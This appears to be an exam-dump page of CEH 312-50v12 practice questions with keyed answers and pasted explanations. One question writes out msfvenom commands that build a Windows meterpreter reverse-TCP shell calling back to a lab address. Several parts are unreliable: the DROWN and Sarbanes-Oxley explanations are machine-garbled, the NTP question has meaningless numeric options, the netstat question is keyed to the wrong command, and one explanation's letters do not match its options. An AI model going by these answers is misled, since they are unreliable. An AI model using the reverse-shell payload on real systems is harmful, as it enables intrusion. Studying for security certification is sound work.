[Aug 02, 2025] 312-50v12 Ultimate Study Guide - RealVCE
Ultimate Guide to Prepare 312-50v12 Certification Exam for CEH v12 in 2025
The Certified Ethical Hacker (CEH) certification is one of the most sought-after and recognized certifications in the field of cybersecurity. Certified Ethical Hacker Exam certification is offered by the International Council of E-Commerce Consultants (EC-Council) and is designed to equip individuals with the skills and knowledge to identify vulnerabilities in computer systems and networks and to develop effective countermeasures to prevent cyber-attacks. The CEH certification is highly valued by employers and is considered a benchmark for hiring professionals in the cybersecurity industry.
NEW QUESTION # 137
This is an attack that takes advantage of a web site vulnerability in which the site displays content that includes un-sanitized user-provided data.
What is this attack?
- A. SQL Injection
- B. Buffer Overflow attack
- C. Cross-site-scripting attack
- D. URL Traversal attack
Answer: C
NEW QUESTION # 138
Samuel a security administrator, is assessing the configuration of a web server. He noticed that the server permits SSlv2 connections, and the same private key certificate is used on a different server that allows SSLv2 connections. This vulnerability makes the web server vulnerable to attacks as the SSLv2 server can leak key information.
Which of the following attacks can be performed by exploiting the above vulnerability?
- A. Side-channel attack
- B. DUHK attack
- C. Padding oracle attack
- D. DROWN attack
Answer: D
Explanation:
DROWN is a serious vulnerability that affects HTTPS and other services that deem SSL and TLS, some of the essential cryptographic protocols for net security. These protocols allow everyone on the net to browse the net, use email, look on-line, and send instant messages while not third-parties being able to browse the communication.
DROWN allows attackers to break the encryption and read or steal sensitive communications, as well as passwords, credit card numbers, trade secrets, or financial data. At the time of public disclosure on March
2016, our measurements indicated thirty third of all HTTPS servers were vulnerable to the attack. fortuitously, the vulnerability is much less prevalent currently. As of 2019, SSL Labs estimates that one.2% of HTTPS servers are vulnerable.
What will the attackers gain?Any communication between users and the server. This typically includes, however isn't limited to, usernames and passwords, credit card numbers, emails, instant messages, and sensitive documents. under some common scenarios, an attacker can also impersonate a secure web site and intercept or change the content the user sees.
Who is vulnerable?Websites, mail servers, and other TLS-dependent services are in danger for the DROWN attack. At the time of public disclosure, many popular sites were affected. we used Internet-wide scanning to live how many sites are vulnerable:
SSLv2
Operators of vulnerable servers got to take action. there's nothing practical that browsers or end-users will do on their own to protect against this attack.
Is my site vulnerable?Modern servers and shoppers use the TLS encryption protocol. However, because of misconfigurations, several servers also still support SSLv2, a 1990s-era precursor to TLS. This support did not matter in practice, since no up-to-date clients really use SSLv2. Therefore, despite the fact that SSLv2 is thought to be badly insecure, until now, simply supporting SSLv2 wasn't thought of a security problem, is a clients never used it.
DROWN shows that merely supporting SSLv2 may be a threat to fashionable servers and clients. It modern associate degree attacker to modern fashionable TLS connections between up-to-date clients and servers by sending probes to a server that supports SSLv2 and uses the same private key.
SSLv2
* It allows SSLv2 connections. This is surprisingly common, due to misconfiguration and inappropriate default settings.
* Its private key is used on any other serverthat allows SSLv2 connections, even for another protocol.
Many companies reuse the same certificate and key on their web and email servers, for instance. In this case, if the email server supports SSLv2 and the web server does not, an attacker can take advantage of the email server to break TLS connections to the web server.
A server is vulnerable to DROWN if:SSLv2
How do I protect my server?To protect against DROWN, server operators need to ensure that their private keys software used anyplace with server computer code that enables SSLv2 connections. This includes net servers, SMTP servers, IMAP and POP servers, and the other software that supports SSL/TLS.
Disabling SSLv2 is difficult and depends on the particular server software. we offer instructions here for many common products:
OpenSSL: OpenSSL may be a science library employed in several server merchandise. For users of OpenSSL, the simplest and recommended solution is to upgrade to a recent OpenSSL version. OpenSSL 1.0.2 users ought to upgrade to 1.0.2g. OpenSSL 1.0.1 users ought to upgrade to one.0.1s. Users of older OpenSSL versions ought to upgrade to either one in every of these versions. (Updated March thirteenth, 16:00 UTC) Microsoft IIS (Windows Server): Support for SSLv2 on the server aspect is enabled by default only on the OS versions that correspond to IIS 7.0 and IIS seven.5, particularly Windows scene, Windows Server 2008, Windows seven and Windows Server 2008R2. This support is disabled within the appropriate SSLv2 subkey for 'Server', as outlined in KB245030. albeit users haven't taken the steps to disable SSLv2, the export-grade and 56-bit ciphers that build DROWN possible don't seem to be supported by default.
Network Security Services (NSS): NSS may be a common science library designed into several server merchandise. NSS versions three.13 (released back in 2012) and higher than ought to have SSLv2 disabled by default. (A little variety of users might have enabled SSLv2 manually and can got to take steps to disable it.) Users of older versions ought to upgrade to a more moderen version. we tend to still advocate checking whether or not your non-public secret is exposed elsewhere Other affected software and in operation systems:
Instructions and data for: Apache, Postfix, Nginx, Debian, Red Hat
Browsers and other consumers: practical nothing practical that net browsers or different client computer code will do to stop DROWN. only server operators ar ready to take action to guard against the attack.
NEW QUESTION # 139
Identify the UDP port that Network Time Protocol (NTP) uses as its primary means of communication?
- A. 0
- B. 1
- C. 2
- D. 3
Answer: C
Explanation:
https://en.wikipedia.org/wiki/Network_Time_Protocol
The Network Time Protocol (NTP) is a networking protocol for clock synchronization between computer systems over packet-switched, variable-latency data networks.
NTP is intended to synchronize all participating computers within a few milliseconds of Coordinated Universal Time (UTC). It uses the intersection algorithm, a modified version of Marzullo's algorithm, to select accurate time servers and is designed to mitigate variable network latency effects. NTP can usually maintain time to within tens of milliseconds over the public Internet and achieve better than one millisecond accuracy in local area networks. Asymmetric routes and network congestion can cause errors of 100 ms or more.
The protocol is usually described in terms of a client-server model but can easily be used in peer-to-peer relationships where both peers consider the other to be a potential time source. Implementations send and receive timestamps using the User Datagram Protocol (UDP) on port number 123.
Incorrect answers: https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
19 - Character Generator Protocol (CHARGEN)
177 - X Display Manager Control Protocol (XDMCP)
161 - Simple Network Management Protocol (SNMP)
NEW QUESTION # 140
Firewalls are the software or hardware systems that are able to control and monitor the traffic coming in and out the target network based on pre-defined set of rules. Which of the following types of firewalls can protect against SQL injection attacks?
- A. Stateful firewall
- B. Data-driven firewall
- C. Packet firewall
- D. Web application firewall
Answer: D
Explanation:
https://en.wikipedia.org/wiki/Web_application_firewall
A web application firewall (WAF) is a specific form of application firewall that filters, monitors, and blocks HTTP traffic to and from a web service. By inspecting HTTP traffic, it can prevent attacks exploiting a web application's known vulnerabilities, such as SQL injection, cross-site scripting (XSS), file inclusion, and improper system configuration.
NEW QUESTION # 141
Scenario: Joe turns on his home computer to access personal online banking. When he enters the URL www.bank.com. the website is displayed, but it prompts him to re-enter his credentials as if he has never visited the site before. When he examines the website URL closer, he finds that the site is not secure and the web address appears different. What type of attack he is experiencing?.
- A. ARP cache poisoning
- B. DHCP spoofing
- C. Dos attack
- D. DNS hijacking
Answer: D
NEW QUESTION # 142
Under what conditions does a secondary name server request a zone transfer from a primary name server?
- A. When a secondary SOA is higher that a primary SOA
- B. When a primary name server has had its service restarted
- C. When a primary SOA is higher that a secondary SOA
- D. When the TTL falls to zero
- E. When a secondary name server has had its service restarted
Answer: C
NEW QUESTION # 143
Which command can be used to show the current TCP/IP connections?
- A. Netstat
- B. Net use
- C. Netsh
- D. Net use connection
Answer: C
NEW QUESTION # 144
A computer science student needs to fill some information into a secured Adobe PDF job application that was received from a prospective employer. Instead of requesting a new document that allowed the forms to be completed, the student decides to write a script that pulls passwords from a list of commonly used passwords to try against the secured PDF until the correct password is found or the list is exhausted.
Which cryptography attack is the student attempting?
- A. Brute-force attack
- B. Dictionary attack
- C. Session hijacking
- D. Man-in-the-middle attack
Answer: B
NEW QUESTION # 145
Suppose your company has just passed a security risk assessment exercise. The results display that the risk of the breach in the main company application is 50%. Security staff has taken some measures and implemented the necessary controls. After that, another security risk assessment was performed showing that risk has decreased to 10%. The risk threshold for the application is 20%. Which of the following risk decisions will be the best for the project in terms of its successful continuation with the most business profit?
- A. Introduce more controls to bring risk to 0%
- B. Avoid the risk
- C. Accept the risk
- D. Mitigate the risk
Answer: C
Explanation:
Risk Mitigation
Risk mitigation can be defined as taking steps to reduce adverse effects. There are four types of risk mitigation strategies that hold unique to Business Continuity and Disaster Recovery. When mitigating risk, it's important to develop a strategy that closely relates to and matches your company's profile.
A picture containing diagram Description automatically generated
Risk Acceptance
Risk acceptance does not reduce any effects; however, it is still considered a strategy. This strategy is a common option when the cost of other risk management options such as avoidance or limitation may outweigh the cost of the risk itself. A company that doesn't want to spend a lot of money on avoiding risks that do not have a high possibility of occurring will use the risk acceptance strategy.
Risk Avoidance
Risk avoidance is the opposite of risk acceptance. It is the action that avoids any exposure to the risk whatsoever. It's important to note that risk avoidance is usually the most expensive of all risk mitigation options.
Risk Limitation
Risk limitation is the most common risk management strategy used by businesses. This strategy limits a company's exposure by taking some action. It is a strategy employing a bit of risk acceptance and a bit of risk avoidance or an average of both. An example of risk limitation would be a company accepting that a disk drive may fail and avoiding a long period of failure by having backups.
Risk Transference
Risk transference is the involvement of handing risk off to a willing third party. For example, numerous companies outsource certain operations such as customer service, payroll services, etc. This can be beneficial for a company if a transferred risk is not a core competency of that company. It can also be used so a company can focus more on its core competencies.
NEW QUESTION # 146
Which access control mechanism allows for multiple systems to use a central authentication server (CAS) that permits users to authenticate once and gain access to multiple systems?
- A. Role Based Access Control (RBAC)
- B. Discretionary Access Control (DAC)
- C. Windows authentication
- D. Single sign-on
Answer: D
NEW QUESTION # 147
The security team of Debry Inc. decided to upgrade Wi-Fi security to thwart attacks such as dictionary attacks and key recovery attacks. For this purpose, the security team started implementing cutting-edge technology that uses a modern key establishment protocol called the simultaneous authentication of equals (SAE), also known as dragonfly key exchange, which replaces the PSK concept. What is the Wi-Fi encryption technology implemented by Debry Inc.?
- A. WPA
- B. WPA2
- C. WPA3
- D. WEP
Answer: C
NEW QUESTION # 148
Kevin, an encryption specialist, implemented a technique that enhances the security of keys used for encryption and authentication. Using this technique, Kevin input an initial key to an algorithm that generated an enhanced key that is resistant to brute-force attacks. What is the technique employed by Kevin to improve the security of encryption keys?
- A. Key stretching
- B. Key derivation function
- C. Key reinstallation
- D. A Public key infrastructure
Answer: A
NEW QUESTION # 149
Susan, a software developer, wants her web API to update other applications with the latest information. For this purpose, she uses a user-defined HTTP tailback or push APIs that are raised based on trigger events: when invoked, this feature supplies data to other applications so that users can instantly receive real-time Information.
Which of the following techniques is employed by Susan?
- A. SOAP API
- B. REST API
- C. Webhooks
- D. web shells
Answer: C
Explanation:
Webhooks are one of a few ways internet applications will communicate with one another.
It allows you to send real-time data from one application to another whenever a given event happens.
For example, let's say you've created an application using the Foursquare API that tracks when people check into your restaurant. You ideally wish to be able to greet customers by name and provide a complimentary drink when they check in.
What a webhook will is notify you any time someone checks in, therefore you'd be able to run any processes that you simply had in your application once this event is triggered.
The data is then sent over the web from the application wherever the event originally occurred, to the receiving application that handles the data.
Here's a visual representation of what that looks like:
A webhook url is provided by the receiving application, and acts as a phone number that the other application will call once an event happens.
Only it's more complicated than a phone number, because data about the event is shipped to the webhook url in either JSON or XML format. this is known as the "payload." Here's an example of what a webhook url looks like with the payload it's carrying:
What are Webhooks? Webhooks are user-defined HTTP callback or push APIs that are raised based on events triggered, such as comment received on a post and pushing code to the registry. A webhook allows an application to update other applications with the latest information. Once invoked, it supplies data to the other applications, which means that users instantly receive real-time information. Webhooks are sometimes called
"Reverse APIs" as they provide what is required for API specification, and the developer should create an API to use a webhook. A webhook is an API concept that is also used to send text messages and notifications to mobile numbers or email addresses from an application when a specific event is triggered. For instance, if you search for something in the online store and the required item is out of stock, you click on the "Notify me" bar to get an alert from the application when that item is available for purchase. These notifications from the applications are usually sent through webhooks.
NEW QUESTION # 150
what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?
- A. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c
- B. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
- C. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
- D. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c
Answer: B
Explanation:
https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module.
Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run 'set payload' for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it's pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.
Example for Windows:
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
NEW QUESTION # 151
Bob is doing a password assessment for one of his clients. Bob suspects that security policies are not in place. He also suspects that weak passwords are probably the norm throughout the company he is evaluating. Bob is familiar with password weaknesses and key loggers.
Which of the following options best represents the means that Bob can adopt to retrieve passwords from his clients hosts and servers?
- A. Hardware, Software, and Sniffing.
- B. Software only, they are the most effective.
- C. Hardware and Software Keyloggers.
- D. Passwords are always best obtained using Hardware key loggers.
Answer: A
NEW QUESTION # 152
A penetration tester was assigned to scan a large network range to find live hosts. The network is known for using strict TCP filtering rules on its firewall, which may obstruct common host discovery techniques. The tester needs a method that can bypass these firewall restrictions and accurately identify live systems. What host discovery technique should the tester use?
- A. lCMP ECHO Ping Scan
- B. UDP Ping Scan
- C. TCP SYN Ping Scan
- D. ICMP Timestamp Ping Scan
Answer: C
Explanation:
The host discovery technique that the tester should use is TCP SYN Ping Scan. This technique sends a TCP SYN packet to a specified port on the target host and waits for a response. If the host responds with a TCP SYN/ACK packet, it means the host is alive and the port is open. If the host responds with a TCP RST packet, it means the host is alive but the port is closed. If the host does not respond at all, it means the host is either dead or filtered by a firewall12. TCP SYN Ping Scan can bypass firewall restrictions because it mimics the initial stage of a TCP three-way handshake, which is a common and legitimate network activity. Therefore, most firewalls will allow TCP SYN packets to pass through and reach the target host, unless they are configured to block specific ports or IP addresses3. TCP SYN Ping Scan can also accurately identify live systems because it does not rely on ICMP, which may be blocked or rate-limited by some firewalls or routers.
The other options are not as effective or feasible as TCP SYN Ping Scan for the following reasons:
* A. UDP Ping Scan: This technique sends a UDP packet to a specified port on the target host and waits for a response. If the host responds with an ICMP Port Unreachable message, it means the host is alive but the port is closed. If the host does not respond at all, it means the host is either dead, the port is open, or the packet is filtered by a firewall12. UDP Ping Scan may not bypass firewall restrictions because some firewalls may block or drop UDP packets, especially if they are sent to uncommon or reserved ports. UDP Ping Scan may also not accurately identify live systems because it cannot distinguish between open ports and filtered packets, and it may generate false positives or negatives due to packet loss or rate-limiting.
* B. ICMP ECHO Ping Scan: This technique sends an ICMP ECHO Request packet to the target host and waits for an ICMP ECHO Reply packet. If the host responds with an ICMP ECHO Reply packet, it means the host is alive. If the host does not respond at all, it means the host is either dead or filtered by a firewall12. ICMP ECHO Ping Scan may not bypass firewall restrictions because some firewalls may block or drop ICMP packets, especially if they are sent to prevent ping sweeps or denial-of-service attacks. ICMP ECHO Ping Scan may also not accurately identify live systems because it may generate false positives or negatives due to packet loss or rate-limiting.
* C. ICMP Timestamp Ping Scan: This technique sends an ICMP Timestamp Request packet to the target host and waits for an ICMP Timestamp Reply packet. If the host responds with an ICMP Timestamp Reply packet, it means the host is alive. If the host does not respond at all, it means the host is either dead or filtered by a firewall12. ICMP Timestamp Ping Scan may not bypass firewall restrictions because some firewalls may block or drop ICMP packets, especially if they are sent to prevent ping sweeps or denial-of-service attacks. ICMP Timestamp Ping Scan may also not accurately identify live systems because it may generate false positives or negatives due to packet loss or rate-limiting.
References:
* 1: Host Discovery in Nmap Network Scanning - GeeksforGeeks
* 2: nmap Host Discovery Techniques
* 3: TCP SYN Ping Scan - Nmap
* : Ping Sweep - an overview | ScienceDirect Topics
* : UDP Ping Scan - Nmap
* : UDP Ping Scan - an overview | ScienceDirect Topics
* : ICMP Ping Scan - Nmap
* : ICMP Ping Scan - an overview | ScienceDirect Topics
NEW QUESTION # 153
Suppose your company has just passed a security risk assessment exercise. The results display that the risk of the breach in the main company application is 50%. Security staff has taken some measures and implemented the necessary controls. After that, another security risk assessment was performed showing that risk has decreased to 10%. The risk threshold for the application is 20%. Which of the following risk decisions will be the best for the project in terms of its successful continuation with the most business profit?
- A. Introduce more controls to bring risk to 0%
- B. Avoid the risk
- C. Accept the risk
- D. Mitigate the risk
Answer: C
Explanation:
Risk Mitigation
Risk mitigation can be defined as taking steps to reduce adverse effects. There are four types of risk mitigation strategies that hold unique to Business Continuity and Disaster Recovery. When mitigating risk, it's important to develop a strategy that closely relates to and matches your company's profile.
Risk Acceptance
Risk acceptance does not reduce any effects; however, it is still considered a strategy. This strategy is a common option when the cost of other risk management options such as avoidance or limitation may outweigh the cost of the risk itself. A company that doesn't want to spend a lot of money on avoiding risks that do not have a high possibility of occurring will use the risk acceptance strategy.
Risk Avoidance
Risk avoidance is the opposite of risk acceptance. It is the action that avoids any exposure to the risk whatsoever. It's important to note that risk avoidance is usually the most expensive of all risk mitigation options.
Risk Limitation
Risk limitation is the most common risk management strategy used by businesses. This strategy limits a company's exposure by taking some action. It is a strategy employing a bit of risk acceptance and a bit of risk avoidance or an average of both. An example of risk limitation would be a company accepting that a disk drive may fail and avoiding a long period of failure by having backups.
Risk Transference
Risk transference is the involvement of handing risk off to a willing third party. For example, numerous companies outsource certain operations such as customer service, payroll services, etc. This can be beneficial for a company if a transferred risk is not a core competency of that company. It can also be used so a company can focus more on its core competencies.
NEW QUESTION # 154
BitLocker encryption has been implemented for all the Windows-based computers in an organization. You are concerned that someone might lose their cryptographic key. Therefore, a mechanism was implemented to recover the keys from Active Directory. What is this mechanism called in cryptography?
- A. Key escrow.
- B. Key archival
- C. Key renewal
- D. Certificate rollover
Answer: A
NEW QUESTION # 155
Jake, a network security specialist, is trying to prevent network-level session hijacking attacks in his company.
While studying different types of such attacks, he learns about a technique where an attacker inserts their machine into the communication between a client and a server, making it seem like the packets are flowing through the original path. This technique is primarily used to reroute the packets. Which of the following types of network-level session hijacking attacks is Jake studying?
- A. Man-in-the-middle Attack Using Forged ICMP and ARP Spoofing
- B. TCP/IP Hijacking
- C. UDP Hijacking
- D. RST Hijacking
Answer: A
Explanation:
A man-in-the-middle attack using forged ICMP and ARP spoofing is a type of network-level session hijacking attack where an attacker inserts their machine into the communication between a client and a server, making it seem like the packets are flowing through the original path. This technique is primarily used to reroute the packets and intercept or modify the data exchanged between the client and the server.
A man-in-the-middle attack using forged ICMP and ARP spoofing works as follows1:
* The attacker sends a forged ICMP redirect message to the client, claiming to be the gateway. The ICMP redirect message tells the client to use the attacker's machine as the next hop for reaching the server's network. The client updates its routing table accordingly and starts sending packets to the attacker's machine instead of the gateway.
* The attacker also sends a forged ARP reply message to the client, claiming to be the server. The ARP reply message associates the attacker's MAC address with the server's IP address. The client updates its ARP cache accordingly and starts sending packets to the attacker's MAC address instead of the server's MAC address.
* The attacker receives the packets from the client and forwards them to the server, acting as a relay. The attacker can also monitor, modify, or drop the packets as they wish. The server responds to the packets and sends them back to the attacker, who then forwards them to the client. The client and the server are unaware of the attacker's presence and think they are communicating directly with each other.
Therefore, Jake is studying a man-in-the-middle attack using forged ICMP and ARP spoofing, which is a type of network-level session hijacking attack.
References:
* Network or TCP Session Hijacking | Ethical Hacking - GreyCampus
NEW QUESTION # 156
Within the context of Computer Security, which of the following statements describes Social Engineering best?
- A. Social Engineering is the act of publicly disclosing information
- B. Social Engineering is the act of getting needed information from a person rather than breaking into a system
- C. Social Engineering is the means put in place by human resource to perform time accounting
- D. Social Engineering is a training program within sociology studies
Answer: B
NEW QUESTION # 157
Widespread fraud ac Enron. WorldCom, and Tyco led to the creation of a law that was designed to improve the accuracy and accountability of corporate disclosures. It covers accounting firms and third parties that provide financial services to some organizations and came into effect in 2002. This law is known by what acronym?
- A. SOX
- B. HIPAA
- C. Fed RAMP
- D. PCIDSS
Answer: A
Explanation:
The Sarbanes-Oxley Act of 2002 could be a law the U.S. Congress passed on July thirty of that year to assist defend investors from fallacious money coverage by companies.Also called the SOX Act of 2002 and also the company Responsibility Act of 2002, it mandated strict reforms to existing securities rules and obligatory powerful new penalties on law breakers.
The Sarbanes-Oxley law Act of 2002 came in response to money scandals within the early 2000s involving in public listed corporations like Enron Corporation, Tyco International plc, and WorldCom. The high-profile frauds cask capitalist confidence within the trustiness of company money statements Associate in Nursingd light-emitting diode several to demand an overhaul of decades-old restrictive standards.
NEW QUESTION # 158
A security analyst is performing an audit on the network to determine if there are any deviations from the security policies in place. The analyst discovers that a user from the IT department had a dial-out modem installed.
Which security policy must the security analyst check to see if dial-out modems are allowed?
- A. Permissive policy
- B. Remote-access policy
- C. Firewall-management policy
- D. Acceptable-use policy
Answer: B
NEW QUESTION # 159
Based on the below log, which of the following sentences are true?
Mar 1, 2016, 7:33:28 AM 10.240.250.23 - 54373 10.249.253.15 - 22 tcp_ip
- A. Application is SSH and 10.240.250.23 is the server and 10.249.253.15 is the client.
- B. Application is SSH and 10.240.250.23 is the client and 10.249.253.15 is the server.
- C. SSH communications are encrypted; it's impossible to know who is the client or the server.
- D. Application is FTP and 10.240.250.23 is the client and 10.249.253.15 is the server.
Answer: B
Explanation:
Mar 1, 2016, 7:33:28 AM 10.240.250.23 - 54373 10.249.253.15 - 22 tcp_ip Let's just disassemble this entry.
Mar 1, 2016, 7:33:28 AM - time of the request
10.240.250.23 - 54373 - client's IP and port
10.249.253.15 - server IP
- 22 - SSH port
NEW QUESTION # 160
Matthew, a black hat, has managed to open a meterpreter session to one of the kiosk machines in Evil Corp's lobby. He checks his current SID, which is S-1-5-21-1223352397-1872883824-861252104-501. What needs to happen before Matthew has full administrator access?
- A. He must perform privilege escalation.
- B. He needs to gain physical access.
- C. He needs to disable antivirus protection.
- D. He already has admin privileges, as shown by the "501" at the end of the SID.
Answer: A
NEW QUESTION # 161
Richard, an attacker, targets an MNC. in this process, he uses a footprinting technique to gather as much information as possible. Using this technique, he gathers domain information such as the target domain name, contact details of its owner, expiry date, and creation date. With this information, he creates a map of the organization's network and misleads domain owners with social engineering to obtain internal details of its network. What type of footprinting technique is employed by Richard?
- A. Whois footprinting
- B. VPN footprinting
- C. Email footprinting
- D. VoIP footprinting
Answer: A
Explanation:
WHOIS (pronounced because the phrase who is) may be a query and response protocol and whois footprinting may be a method for glance information about ownership of a website name as following: * name details * Contact details contain phone no. and email address of the owner * Registration date for the name * Expire date for the name * name servers
NEW QUESTION # 162
......
The Certified Ethical Hacker (CEH) certification exam is offered by the ECCouncil and is a globally recognized credential for professionals in the field of cybersecurity. 312-50v12 exam, also known as the 312-50v12, is designed to test the knowledge and skills required to identify and exploit vulnerabilities in computer systems, networks, and applications. The CEH certification is highly regarded by employers and is a valuable asset for anyone interested in pursuing a career in cybersecurity.
CEH v12 Fundamentals-312-50v12 Exam-Practice-Dumps: https://actualtorrent.realvce.com/312-50v12-VCE-file.html